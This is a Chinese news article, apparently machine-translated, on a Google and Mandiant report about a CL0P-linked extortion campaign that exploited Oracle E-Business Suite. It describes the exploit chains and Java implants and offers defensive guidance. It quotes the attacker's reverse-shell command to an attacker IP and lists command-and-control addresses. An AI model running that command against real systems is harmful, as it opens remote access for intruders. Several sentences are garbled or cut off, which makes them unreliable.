谷歌报告称，大量客户数据在勒索活动中遭到利用

谷歌报告称，恶意行为者大规模trac了用户数据，并声称这些行为者参与了一起敲诈勒索活动。谷歌威胁情报和Mandiant trac到此次攻击行动的攻击者可能与CL0P敲诈勒索团伙有关。.

谷歌威胁情报小组 (GTIG) 和 Mandiant 联合揭露了一起利用 Oracle E-Business Suite (EBS) 漏洞发起的大规模勒索活动。该勒索活动导致大量客户数据被盗。他们表示，此次行动始于 2025 年 9 月 29 日，涉案团伙自称与 CL0P 勒索团伙有关。.

谷歌和Mandiant披露零日漏洞利用 

根据谷歌的报告，攻击者向多个组织的管理人员发送了大量电子邮件，声称他们的 Oracle EBS 环境遭到入侵，并威胁说，除非 支付赎金，。 

这些电子邮件是从数百个被盗用的第三方帐户发送的，其中包括联系地址 [email protected] 和 [email protected]，这些地址之前与 CL0P 数据泄露网站有关联。

谷歌和Mandiant的联合调查发现，该漏洞利用活动最早可追溯至2025年7月，可能与目前 trac为CVE-2025-61882的零日漏洞有关。据报道，在某些情况下，攻击者从受影响的组织窃取了“大量数据”。.

Oracle公司表示，被利用的漏洞已于7月修复，但随后于10月4日发布了紧急更新，以应对其他漏洞。Oracle公司告知其客户使用最新的关键补丁更新，并强调及时更新所有补丁对于防止安全漏洞至关重要。.

CL0P勒索团伙自2020年以来一直活跃，历史上与FIN11网络犯罪集团有关联。该团伙此前曾攻击过MOVEit、GoAnywhere和Accellion FTA等托管文件传输系统。这些攻击活动遵循类似的模式：大规模利用零日漏洞、窃取敏感数据，并在数周后进行勒索。. 

截至 报告此次事件的新受害者dent CL0P 的数据泄露网站上还没有出现 

复杂的多阶段Java植入程序

Google 和 Mandiant 的技术分析显示，攻击者使用了针对 Oracle EBS 组件（包括 UiServlet 和 SyncServlet）的多个漏洞利用链，以实现远程代码执行并植入多阶段 Java 植入程序。

2025年7月，出现了可疑活动，涉及向 /OA_HTML/configurator/UiServlet 发送 HTTP 请求。这一可疑活动在另一次漏洞利用中被发现，该漏洞利用后来在一个名为“SCATTERED LAPSUS$ HUNTERS”的 Telegram 群组中曝光。 

泄露的漏洞利用程序采用了多种高级技术来控制目标服务器，例如服务器端请求伪造 (SSRF)、身份验证绕过和 XSL 模板注入。.

到 2025 年 8 月，攻击者开始使用名为 SyncServlet 的另一个工具，在 EBS 数据库内部创建和运行恶意模板。这些模板包含 Base64 编码的 XSL 有效载荷，可将基于 Java 的恶意软件直接加载到内存中。. 

dent的植入程序包括 GOLDVEIN.JAVA（一个从攻击者控制的命令服务器检索第二阶段有效载荷的下载器）和一个名为 SAGE 的多层链（用于安装持久的 Java servlet 过滤器以进行进一步利用）。.

攻击者入侵系统后，使用 EBS 帐户“applmgr”探索系统，收集网络和系统详细信息，然后安装更多恶意文件。攻击者还使用了诸如 ip addr、netstat -an 和 bash -i >& /dev/tcp/200.107.207.26/53 0>&1 之类的 shell 命令。.

在攻击尝试中dent出了 IP 地址 200.107.207.26 和 161.97.99.49，而 162.55.17.215:443 和 104.194.11.200:443 被列为 GOLDVEIN.JAVA 有效载荷的命令和控制服务器。.

GTIG 尚未正式将此次行动与任何已知组织联系起来，但该行动与 FIN11 有相似之处，FIN11 是一个以经济利益为目的的网络犯罪组织，此前曾与 CL0P 勒索软件和大规模数据窃取行动有关。. 

Mandiant 还指出，用于发送勒索邮件的被盗账户之一曾被用于早前的 FIN11 相关攻击。.

敦促用户对 EBS 数据库表 XDO_TEMPLATES_B 和 XDO_LOBS 保持警惕，特别是那些名称以“TMP”或“DEF”开头的表，并阻止来自 EBS 服务器的外部互联网流量，以防止更多的数据勒索。.

这些组织还建议密切监控对 /OA_HTML/SyncServlet 和 /OA_HTML/configurator/UiServlet 等端点的 HTTP 请求，并分析内存转储以查找内存中 Java 有效负载的证据。.

谷歌警告称，与 CL0P 有关的组织几乎肯定会继续投入资源来获取零日漏洞利用程序。.